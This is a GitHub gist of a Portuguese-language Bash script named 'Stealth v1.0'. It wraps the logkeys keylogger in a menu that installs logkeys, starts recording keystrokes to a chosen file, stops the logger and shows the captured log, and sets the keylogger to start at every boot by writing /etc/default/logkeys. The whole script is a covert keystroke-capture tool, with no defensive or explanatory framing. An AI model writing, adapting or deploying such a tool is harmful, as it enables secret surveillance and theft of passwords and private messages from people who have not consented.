Created
April 10, 2014 18:21
-
-
Save danilovazb/10408949 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# . . , , | |
# |` \/ \/ \,', | |
# ; ` \/\,. | |
# : ` \,/ | |
# | / | |
# ; : | |
# : ; | |
# | ,---. / | |
# : ,' `,-._ \ | |
# ; ( o \ `' | |
# _: . ,' o ; | |
# /,.` `.__,'`-.__, | |
# \_ _ \ | |
# ,' / `, `.,' | |
# ___,'`-._ \_/ `,._ ; | |
# __;_,' `-.`-'./ `--.____) | |
# ,-' _,--\^-' | |
# ,:_____ ,-' \ | |
# (,' `--. \;-._ ; ~~~~~:> Stealth v1.0 <:~~~~~ | |
# : Y `-/ `, : Autor: Danilo Vaz | |
# : : : /_;' Data: Ter Jan 1 16:54:37 BRST 2013 | |
# : : | : | |
# \ \ : : | |
# `-._ `-.__, \ `. | |
# \ \ `. \ `. | |
# ,-; \---)_\ ,','/ | |
# \_ `---'--'" ,'^-;' | |
# (_` ---'" ,-') | |
# / `--.__,. ,-' \ | |
# )-.__,-- ||___,--' `-. | |
# /._______,|__________,'\ | |
# `--.____,'|_________,-' | |
# | |
# | |
# | |
# | |
# | |
# Depuraç: 0 desliga, 1 liga | |
#DEBUG=1 | |
#Debug(){ | |
# ["$DEBUG" = 1] && echo "$*" | |
#} | |
menu () | |
{ | |
a="ok" | |
while true $a !="ok" | |
do | |
DIR="/etc/default/logkeys" | |
clear | |
echo " ____________________________" | |
echo " (__) / \ " | |
echo " (oo) ( Muuuuuuuuuuuuuuuuuuuu!!!! )" | |
echo " /-------\/ --'\____________________________/ " | |
echo " / | ||" | |
echo " * ||----|| " | |
echo " ^^ ^^ " | |
echo " " | |
echo "" | |
echo -e '\033[32;1m[+]\033[m Stealth v1.0 - By Danilo Vaz' | |
echo -e '\033[32;1m[+]\033[m Script integration with logkeys' | |
echo -e '\033[32;1m[+]\033[m Contact: danilovazb[at]gmail.com' | |
ARQUIVO="/usr/bin/logkeys" | |
[ -e "$ARQUIVO" ] || { | |
sleep 1 | |
echo -e '\033[31m[-]\033[m Logkeys nãestánstalado ' | |
echo "" | |
echo -e '\033[34;1m[?]\033[m Vocêostaria de instalar? s/n' | |
read INSTALL | |
case $INSTALL in | |
s | S) | |
apt-get install logkeys | |
;; | |
n | N) | |
;; | |
*) | |
echo -e '\033[33;1m[!]\033[m Digite apenas S ou N' | |
;; | |
esac | |
} | |
echo "" | |
echo -e '\033[36;1m[1]\033[m Ativar keylogger no sistema. ' | |
echo -e '\033[36;1m[2]\033[m Finalizar Keylogger. ' | |
echo -e '\033[36;1m[3]\033[m Ativar Keylogger ao inicializar o sistema.' | |
echo -e '\033[36;1m[4]\033[m Sair. ' | |
read OPCAO | |
case $OPCAO in | |
1) | |
clear | |
echo -e '\033[34;1m[?]\033[m Onde gostaria de gravar os logs? - Digite apenas a pasta' | |
echo -e '\033[34;1mEXEMPLO:\033[m /var/log ou /home/kr1st1n' | |
read GRAV_LOGS | |
sleep 1 | |
touch $GRAV_LOGS/kl.log | |
echo -e '\033[33;1m[!]\033[m Fazendo download do keymap do teclado pt_BR' | |
sleep 1 | |
wget -O /tmp/pt_BR.map http://wiki.logkeys.googlecode.com/git/keymaps/pt_BR.map | |
echo -e '\033[33;1m[!]\033[m Ativando Keylogger' | |
logkeys -s -m /tmp/pt_BR.map -o $GRAV_LOGS/kl.log | |
;; | |
2) | |
echo -e '\033[33;1m[!]\033[m Finalizando Keylogger' | |
sleep 2 | |
logkeys -k | |
echo -e '\033[34;1m[?]\033[m Quer visualizar os LOGS? s/n' | |
read VISU_LOGS | |
case $VISU_LOGS in | |
s | S) | |
cat $GRAV_LOGS/kl.log | |
;; | |
n | N) | |
;; | |
esac | |
;; | |
3) | |
echo -e '\033[33;1m[!]\033[m Ajustando configuraçs' | |
sleep 2 | |
echo "" > $DIR | |
echo "ENABLED=1" >> $DIR | |
echo "LOGFILE=/var/log/kl.log" >> $DIR | |
echo "DEVICE=/dev/input/event3" >> $DIR | |
invoke-rc.d logkeys start | |
;; | |
4) | |
break | |
;; | |
esac | |
done | |
} | |
menu |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment